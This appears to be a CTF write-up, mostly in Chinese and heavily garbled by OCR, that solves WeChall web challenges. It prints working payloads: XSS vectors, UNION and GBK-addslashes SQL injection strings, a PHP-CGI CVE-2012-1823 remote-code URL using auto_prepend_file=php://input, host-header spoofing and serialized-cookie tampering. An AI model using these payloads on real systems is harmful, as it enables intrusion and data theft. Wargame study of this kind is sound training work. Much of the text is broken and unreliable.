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Training: ASCII

div class="cb Jdiv
F <footer id="pgwf_footer

div id="wc_profile slide

<l-- Now this is a comment!

< /footer
Jdiv
-

<!-- You are leoocking for this password:

[/body
Shtml

html_sourcecode -->

Encodings: URL
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Training: WWW-Robots
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Disallow: /challenge/training/wwws/robots/TOPS3ICEIT

User-agent: Tandex
Disallow: *



Training: Crypto - Caesar |
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GWF_HTML: :error(
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Training: PHP LFI
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Training: Register Globals

FFERIIASHE 5, Register Globalsh] LA sG55, GET. POST. cookie}J i, X B7EJFEAA T = F|

WA B 5ok, HE R FGET, M IERRegister GlobalsifiAs—#f, —JFIEHE X T ...
% payload

http://www.wechall.net/challenge/training/php/globals/globals.php?login| @
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Are you serial

A WA IR B, IR T BUN A 4R TR RIRR B AL T B NEE A B AESW, & 7ERINE TR
75 R AE T
B 5GFE 2 insecure.inc.php H ALY

KEETET spl_autoload_register XKL, XANREGE HANEMIEHM, £ 45K H B AIHESE (laravel. composer)
wH.
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FATE 2T T SERIAL_Userix 424,
A4k Zcode.php il FEFAE— N TFHIL !

MIATZ AT UL spl_autoload_register BRAL, WIRAEMT G —DulE, MBS, RATFERAHM
J& SERIAL_Solution.php , FFill/2cookieftZ, «Ikﬂ]i7rﬂEE§UftU7{lﬁlfﬁf'ﬂlkﬁfl 4,704 °H SERIAL_Solution (KJEBEEINAS)




{H 2 a0 Bt ZE logingt 2 Xt cookie B T EH FHiZ &, FHATH
En ™

L Hloginfe ZEIT] !

E | Burp Suite Prafessional v1.5.18 - licensed to LarryLau

Burp Intruder Repeater Window Help

|. Target |

[ Spider ] Scanner ] Intruder ]Rapeﬂel I Sequencer ] Decoder l Comparer i Extender ] Options [ Alerts l

[2:]3<Jax]s5x]6=]g
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_[Rm] Params [ Headers [ Hex |

Target: htp:lhwww.wechall.net li' Z

JRMI Headers Ist II-FI'ML IRen-der ]

POST /challenge/are_yo
Host: www.wechall.net
User-Agent: Mozilla/5.0 (Vindows NT 10.0:; WOWEd: rv:54.0)
Firefox/54.0
Aceept: text/html,application/xhtml
ccept-Language: zh-CN, zh;q=0.8,en-
Accept-Encoding: gzip, deflate
“ontenc-Type: applicacion/x-www-form-urlencoded
ntent-Length: 3L
Peferesr: htcp://wwv.wechall.net/challenge/are_you serial/code.php
Cookie

EE84-3E522-Hihdy

| _serial/code.php HTTP/1.1

Gecko/20100101

ml,application/xml;q=0.9,*/";q=0.8
0.5,en:;q=0.3

Connection: keep-alive
Upgrade-Insecure-Requests: L

username=asdégvi3_csrf=f5vl

ar

| 0 matches

YRR A2, WRAE spl_autoload_register B

hre users/with/AlL/by/user_ lastactivity/DESC/page-1">more</a></divs i
< -
</
<
<div id="page*>
stions
ial.html®”

lutions*

<span>score: 2</span>
&nbsp; |&nbsp ;
<span><a href="/challenge solvers for/l0I/Are+yous+serial®>Solved By 4351

People</a»
&nbsp; |&nbsp ;

apan>128635 views</=span>
&n:hsp |&nbsp ;

<3F since Oct 09, 2011 - 0%

pan>

58:4%3</=pan>
u_serial/indes
href="

php"-Are you serial</a»<span
challs/PHPP>PHP</a>) </span></t v

gvi_mag_t">WeChall</s

<li>¥our answer is correct but you have already solved this
challenge . />Did you <a href="/challvotes/l0Z/Are+youtserial”>vote for
this challenge</a> yet?</Lli>

<ful>

liv class="cl"></div>

Fatal errer: Call te undefined method SERIAL Selution::getUsername() in

Shome fwechall fwew fweS /wew/challengefare you serial/code.php on line 44

class="gvf_backtrace">

PHP Fatal Error{l):&nbsp;Call to undefined method

SERIAL Solution: .getl.luexnml Jenbsp ;inknksp ; <k
w: | ">wwwfchallenge/are_you_ serialfcode.php</b>&nbap:lin

: lEp ">dd4</b

Backtrace starts in [unknown file] .'Lu|e ?.

:shutdown functioen() coreflnc!uul!m_bebllq.php line 109,

rerror_handler().... corefinc/util/GWF_Debug.php line 183.

v

B | |t (e ca - 0 matches

18,833 bytes | 943 millis

B H -+ F EALETT Llgetshell, X B AN & B

https://www.leavesongs.com/penetration/some-sangebaimao-ctf-writeups.html#0x02-getshell_1

htmispecialchars
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https://www.leavesongs.com/penetration/some-sangebaimao-ctf-writeups.html#0x02-getshell_1

htmlspecialchars(string,quotestyle, character-set)

EZH 1 ik
string PE . HITEERRMTEHS.
quotestyle k. FEMNMREBES|SIEIS .

ENT_COMPAT - 2tih . {RERPFIEIS-

ENT_QUOTES - (RIS S 8= .

ENT_NOQUOTES - TRB{TEIS -

P CAFE BRI B 26 A Tl R A 2 3 L5 5 !
AHUFE AT

45—/ XSSAEE R el Ak, AR FAFR Fabr 2 fxss 77 5\

e

& Load URL | httpi//localhost:8080/test.php?in=" onmouseover="alert(17)

4 splitURL
Execute
[] Enable Post data [] Enable Referrer
Post data lagin[0]=admin
Exploit Me

<a href="http://' onmouseover="alert(17)">Exploit Me</a>


http://blog.csdn.net/keepxp/article/details/52054388

IR JEIX TR A T exploit T, EASE HAME, I EZ% ENT_quoTEs BRI, HZsolutioni
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FATE R Esrc A REP R E T HA R, RifEgad
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payload i :




| 1L o= & SUL- AshT Encryptions Encodings  Uther-

& Load URL .http:f,‘wmv.wechall.nﬂjchallenge{php081Erfcode.php

S'E Split URL Thi[0]=function
&mode=hl

b Execute &src=solution.php

] Enable Post data [_| Enable Referrer
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<?php

# The solution is ~AnotherCodeflowMistake ;
>

NOTHING MORE?

END OF FILE!

'AnotherCodeflowMistake

Crappyshare

B SAE I A O, 23, SR A SUFEE NI, SO M AR, IXASERMI, SCPF EAR R T RB
AHREUT ATk, MRS S A H Ty, AT



FATHT LA Bphpifl i T curl, XT?UHE% HR kAT 7RI g, bR A i, filer BTN Mg T, X Hid@id curl
HE R B AMBEE ! P NERIGE R H K B bigiEpayload 4n T BT AT
FEREFIAN

Upload a file

Thank You For Uploading:

Upload File: EEMAE | RS
Or By URL:

| Upload |

PHP 0815

B HYEN S EMRMR A St 2in_array() R #His_numic O BREC—FE, FE9RAIICIEER% 1’ =="1asd’, JLIH:fin_array()VCAD
ARG I A A ) 0, IR E N B



| 4l Load URL | httpy/fwww.wechall.net/challenge/php0815/cade php?show=1" union select 1|
B split URL
¥ Execute

] Enable Post data [_| Enable Referrer

Query: SELECT 1 FROM “table® WHERE “id"=1" union select 1
SHOWING NUMBER 1' union select 1

A NGHn_array 2 ULAD, N B3 = A S Hitrue it i

B IR B 2R ...

B ZEE, AERER TS — N EMRE, REXZ, 2, 3BSFERS, A2y, E2EmenfT, i
22 strval() RE, BEE, ERHA Tintval)stal L2 2 2 SR A, (02 SRR Spayload KK T
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BRI FR R

FREER-0.. R Tint...

WeChall

« Good job, you typecasted $show to an integer value. The real world solution is (int) or intval() or even settype()

WeChall

_ Congrats, wasn't too hard, was it?
" Your lesson learned is to typecast stuff properly!
~

WeChall

< Your answer is correct. To keep track of your progress you need to register.
-

No Escape

e AT

= gdo_db_instance( , NO_ESCAPE_USER, NO_ESCAPE_PW, NO_ESCAPE_DB);
->setlLogging( M

->setEMailOnError( )

noesc_db();




->queryWrite( )) {

noesc_resetVotes();

noesc_db()->queryWrite(
GWF_HTML : :message(

( (stripos( , ! ) || (strpos(
GWF_HTML: :error( 5

3

= noesc_db();
= mysql_real escape_string(

== ->queryWrite(
GWF_HTML : :message( .GWF_HTML: :display( ),

noesc_stop100();

noesc_db()->queryFirst(




noesc_getVotes();
=5

== ) {
noesc_solved();
noesc_resetVotes();

3

( >= ) 1
noesc_resetVotes();

3

= noesc_getVotes();

3

sprintf(

= GWF_Button::generic(
sprintf(

=== ) {
GWF_Box: :box( (htmlspecialchars( ))));




===1( = WC_Challenge: :getByTitle(
= WC_Challenge: :dummyChallenge(

->onChallengeSolved(GWF_Session: :getUserID());

AR AR TR R, R A 5 AR sqlif /i

noescvotes = + id=

B AR LR R, T DABRA I A R SRR R mysqUERIF S8t (IERAFALIEA . —, MAEB— B2
1) s ks

VERR RS 5 Eurlencode ! fi#

Yourself PHP



chdir(
define(

=== ( = WC_Challenge: :getByTitle(
= WC_Challenge: :dummyChallenge(

->showHeader();

GWF_Box: :box( ->lang(

(phpself checkit())

->onChallengeSolved(GWF_Session: :getUserID());

=== Common: :getGetString(

file_get_contents(

GWF_Box: :box(GWF_Message: :display( ))s

1)

GWF_Box: :box(sprintf(

.PHP_EOL;
sprintf( , 1) .PHP_EOL;
sprintf( , GWF_CSRF::hiddenForm( )).PHP_EOL;
sprintf( ) .PHP_EOL;
sprintf( ) .PHP_EOL;
sprintf( ).PHP_EOL;

.PHP_EOL;

->copyrightFooter();




Ui A xssTE RN S AN 2 username, 1X LG 5T 7E echo sprintf('<form action="%s" method="post">",
$_SERVER[ 'PHP_SELF']).PHP_EOL;
XA $_SERVER[ 'PHP_SELF'], FIJ&— MalAIBIR

http://mwww.5idev.com/p-php_server_php_self.shtml

.PHP_EOL;

INT ~ = @ SQL- XSS- Encryption Encoding= Other
@ Load URL | localhost:8080/flag.php/"> PEL PELIPE

& split URL

r Execute

Enable Post data [ | Enable Referrer

Post data

/flag.php/" > ###

HJi& localhost:8080/flag.php/%22></form><script>alert(1);</script><form
action="/challenge/yourself php/index.php

AR RN
= <html>
¢head? </head>
=1 <body>
{form action="/flagz. php/"> {/form>
= {script>
alert (1) ;
£/seript>
{form action="/challenge/vourself php/index.php” method="post™> </form>
< /body>
</html>
(HRARTE N A AT AR G T JE THIVE. ..
P S
mdzz


http://www.5idev.com/p-php_server_php_self.shtml

XA H FE v T B php AR, FOR - TTRAr A S (R Bl T3 F ) BSR4t XA
B RS RA W

Loengres s ons weasasns S L e o oy T

Sgwf = new GWF3(5cwd, array/(
'website init' => true,
'autoload meodules' => true,
'load module' => true,
'get_user' => true,

'do logging' => true,

'blocking' => false,

'no session' => false,
'store last url' => true,
'ignore_user_aborﬂ' => false,

TERFiX 4 ignore_user_abort, AT

ENXHBZE
ignore_user_abort() EEiEE SEFIAES S FRIARRHRIT,
AERELRE user-abort IZENZRIANE (—MIRE) .

B

ignore user_abort(setting)

28 fid
setting BiE, QISIRED true , NBESSAFIITT | IFREA false , SSHEIAEFILET.
MRFRERSE , FIRAEEHLRE.

1R RS
EEEHERR echo IBAITDARIRSEAL , 25

flush() BR&l.

ETEL A, At Mignore_user_abort/gfalsefI 5, 4% AL T INHE A b ik, php 2 P i JEAS BRI Y P o2 ST 1
R e flush()ial B & H SR S A7 R A T - e A e 4%

TAVE RS E SE ] LG 2 1% Flignore_user_abort=false N b 2 1, SR 5 1] LR ILAE W15 15 24044 I I 2 5 FRiB 144, SRIE 4
TR EIXFEE IR T nooth_message BREL! SR G A E B 1Z R EUHD



KRBLTURAS Y L BN R AT DO A T IRk
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It CABRA 13 e BRSO T Sk X A — A !

F oy

# Disable output buffering
if {(ob_get_level() > 0) ob_sen
apache setenv('no-gzip', C

ini_set('zlib.output compre

SRJE BATEARTE B RIS, e — Ml Oy Vil NIRa ARG , BRI, Jf HAEM 22 fi e
FRME 71 2552
PHP 0819

MBI AR 2]




HE -+ BlE, 3B—ZevalFihid i 7 RERFRTT S, A5G M evalif f) 75 £ 48 Espaceonellit {6 41337, [ Aeval
RetE, TRELEEEIN L ; BN S R ERA 113375 o mIRATAT LRI M ER &K N13F7T D — PR B fRAeS T =,
PN Egetshell—28 1, BIEE K & RA 8 1IX AN /%L, [N return ($spaceone === '1337'); JE&imRMLLHE, Wil jE 7
315, ANHEEAM

R WA AT K RE T SO IAFAE = A, PRI AT
http://php.net/manual/zh/language.types.string.php

Al LA HIheredockyitiGeid B 515 1 1 1 EREH O RE H R REA TSR, AN..D
7 Zheredoc 1% 2 !

WA AT S, D— B, DAHRANEELHESER GEERM E—NMATR! D)
Hi&poctn N EP AT !

The Guestbook

A HEL G5, KIIPHALE AT RN, SRJ5 AT H brfE—Mablerh, MEATAR LTS —Mablerh, JFHEG
[en] 5 55 AEA) s A AV A\ 378 N A 1 ) 25 D
FEAMSI—F, A —Mest&i N

R IANIE 53— Fflag, EIL=51, FAERMH!

flag ¢ , ( test limit -, ),

RaERBR!

XA LT, s F! S 2burpdlE—F, 4RJ5H0N X_FORWARDED_FOR #£I0, #XJ57EiZIUIN LUl payload

gbu_password gbook _user limit -, ))#

Rpmpt !


http://php.net/manual/zh/language.types.string.php

HOST me

Mi—F R PTBHTTP_HEADERKVS ettt AT, (HRBIB A, &A— NoiRA I

Apachelll & & i &5 K fThost, Nginxlll R 2F i Jg — Mg K fhost. A IR AT f& 3 i T 11X 4N 11 3K K % 3w Varnishix 3|
HRMER

2 AR R

— L L L L — L L L
GET /challenge/space/host me/index.php HTTP/L.1 " HTTF/1l.1 200 OK
Host: localhostl - Date: Tus, 29 Aug I0L7 13:22:45 GMT
User-Agent: Mozil .0 (Windows MNT 10.0; WOWE4: rv:55.0) Gecko/Z010010L1 Firefox/55.0 Server: Apache/Z.2.1& (Debian)
Accept: text/html,appMgation/xhtml+xzml, application/xml; q=0.9,*/*;q=0.8 Last-Modified: Sat, 0& Jul Z013 15:50:07
Aoeept-Languags: zh-CH, = =0.8,en-U3;q=0.5,en;q=0.3 ETag: "194920df-5c-4=20d%9c3£54890"
Accept-Encoding: gzip, defl Accept-Ranges: bytes
Cookie: WC=S5039023-365I2-EHIwHOBD3ILXrdwd; Vary: Accept-Encoding
serial user=0%3A11%3A%22SERTAL User&sIl%3A3%3A%7Bs33AB%3 A% usernameslis3Bss3A3%3A%22asds22%3Bs%3A8%3 Content-Length: 92
As22password":::%3]33':3RS‘:33%:2t=3tt=3t%::%3]33%3)19f3)1 ZZuserlevel3ZI%3Bi%3A0%3B%7D Eeep-Alive: timeout=5, max=I5
Connection: kesp-alive Connection: Keep-Alive
Upgrade-Insecure-Requests: 1 Content-Type: text/html

<hl>Welcome to localhorst</hil>

_*ﬂ:ﬂ]ﬂder constructor</p>
<p>Wrong Wrong Wrong vhost ;)</p>

R DA )

Fun Fact: There is even a virtualhost named localhost, which probably does not make it easier.

It seems like we need to reinstall the box, unless you can access this page with the correct constraints.

BRI M R AR — & REAUNLA U flocalhost. .. iX...

DL XA AR T .

N T R BT SE, BATER B E R host/2 www.wechall.net , 4 FAA7E U LIocalhostif & & 2 Ui [ml EFUALEY, fif vy v
&, fEfBhosty localhost HIFTHE T, 4 GETHBYEAS U4 %otk B af

ik

GET http://www.wechall.net/challenge/space/host_me/index.php| HTTP/ 1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT L10.0:; WOWe

W

Aocept: text/html, application/xhtml+4xml, applicat
A _pt Language: zh-CH, zh;qg=0.8,en-T3;q=0.5,2n;q=
becept-Encoding: gzip, deflate

C-- rie: WC=9839023-3E5I22-ZKIwEGDaD3ILKrdwl

serial user=0%3A11%3A%225ERTAL User$IIsid
;4,d1a99 ord%22%3Bs% A% 320 testtesty Il

Connection: keep-alive
Upgrade-Insecure-Fequests: 1

BB AR M2 R, KB




I DLE) SRS, e anH eurl i

Fnclt)

B2 Nk T R AR
Warchall: Live RCE

AN E R E B8 % php ree GX H it — Freesit /zRemote Code ExecutionBliz fE L #4T) K IIPHP-CGI Source
Dmmwm,&E*AOEﬁM
CVE-2012-1823
G R — T WA, RIKEZRHRE, SHiELIEELTT
https://paper.seebug.org/297/
SR G BATEHER FH SCE i poc
Fi A S S HERCE, Myisin

http://rce.warchall.net/?-d+allow url include%3Don+-d+auto prepend file%3Dphp%3A//input

Enable Post data [] Enable Referrer
<?php phpinfo();?>

PHP Version 5.3.10

SRIGHRATIRT 7, HSumtis A BT, RIVERLE. Jconfig.phpSCiEr, BEfEEL— F 1A
Addslashes

AR R H e K IR


https://paper.seebug.org/297/

SRR BATR PR R

HiEpassword NUFFIH B4 wnfal F FHusername,  FI 5 v 2 B8 7V EN, AHSE REERT— A 7R EALIRAT T B R
username==Admin, XNEATHE— @I E TR, — PR e FHEN




Load URL | http://www.wechall.net/challenge/addslashes/index.php?username=%bf%27 +or+1+%23
Split URL | 8password=admin
&login=%E6%B3%A8%E5%86%8C

Execute

[ ] Enable Post data [_| Enable Referrer

English ~ News Links Sites Forum[9] Ranking

/024 New Sites New Users
-& Hack The Box cker G Re
We €Chall  heckouer  Soivs

»

PEI@ 5.7 | score: 5 | Solved By 568 People | 213713 views | since Aug 29, 2009 - 22:2;

four mission is to login as Admin.
fou are given the source of the login script also as highlighted version.

s00d Luck.

RIEEATM? FATHunion select FE & —k ! A T EEHFHES5 10 5] FHIRAT 4k S EusersHusername,  H 2 limit 2 45 il B AT !
% payload
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